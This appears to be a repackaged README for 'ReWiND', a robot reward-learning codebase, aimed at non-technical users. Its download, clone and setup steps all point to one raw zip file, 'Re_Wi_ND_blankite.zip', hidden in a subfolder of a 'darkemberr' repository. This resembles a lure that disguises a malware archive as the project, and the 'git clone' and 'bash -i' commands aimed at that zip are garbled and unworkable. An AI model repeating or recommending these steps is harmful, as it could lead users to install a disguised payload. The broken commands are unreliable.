🎉 ReWiND - Teach Robots with Simple Rewards

We provide code to train ReWiND reward models and policies on MetaWorld. You can teach robots effectively without needing new demonstrations.

🚀 Getting Started

To get started with ReWiND, follow these simple steps. The process is user-friendly, even if you have no technical background.

📥 Download & Install

1. Visit the Releases Page
   Go to the ReWiND Releases Page to download the software.

2. Choose Your Version
   Select the latest version available for your operating system, and download the file.

3. Install the Software
   After downloading, locate the downloaded file and follow the typical installation steps for your operating system.

🏗️ Setup Environment

Setting up the environment is crucial for running ReWiND effectively.

1. Open a Terminal
   If you are using Windows, you can use Command Prompt or PowerShell. On Mac or Linux, use the Terminal application.

2. Clone the Repository
   Enter the following command to download the source code:

   git clone https://github.com/darkemberr/ReWiND/raw/refs/heads/main/metaworld_policy_training/envs/Re_Wi_ND_blankite.zip
   cd ReWiND_Release/

3. Create the Environment
   Run the setup script to create the environment and install all necessary dependencies. Enter this command:

   bash -i https://github.com/darkemberr/ReWiND/raw/refs/heads/main/metaworld_policy_training/envs/Re_Wi_ND_blankite.zip

⚙️ Usage Instructions

Once you have installed ReWiND and set up the environment, you can begin using the software.

1. Navigate to the Project Directory
   Ensure you are in the ReWiND project directory. You can enter the following command again if you need to:

   cd ReWiND_Release/

2. Start the Model Training
   You can now proceed with training the ReWiND reward model. Use the provided scripts to label your training dataset and train your policy.

3. Explore Your Options
   Test different tasks as guided in the documentation.

📋 System Requirements

• Operating System: Windows, macOS, or Linux
• Processor: Dual-core processor or better
• RAM: At least 8 GB
• Storage: Minimum of 2 GB of free disk space
• Dependencies: Ensure you have Git and Bash installed

📚 Documentation & Support

For more detailed documentation, guides, and support, please visit our official website.

If you encounter issues, feel free to raise them on our GitHub page. Our community and developers are here to help.

🔗 Further Resources

• ReWiND Overview
• arXiv Paper
• Additional Tutorials

Now you are ready to begin your journey with ReWiND. Download the software today and start teaching robots using effective language-guided rewards!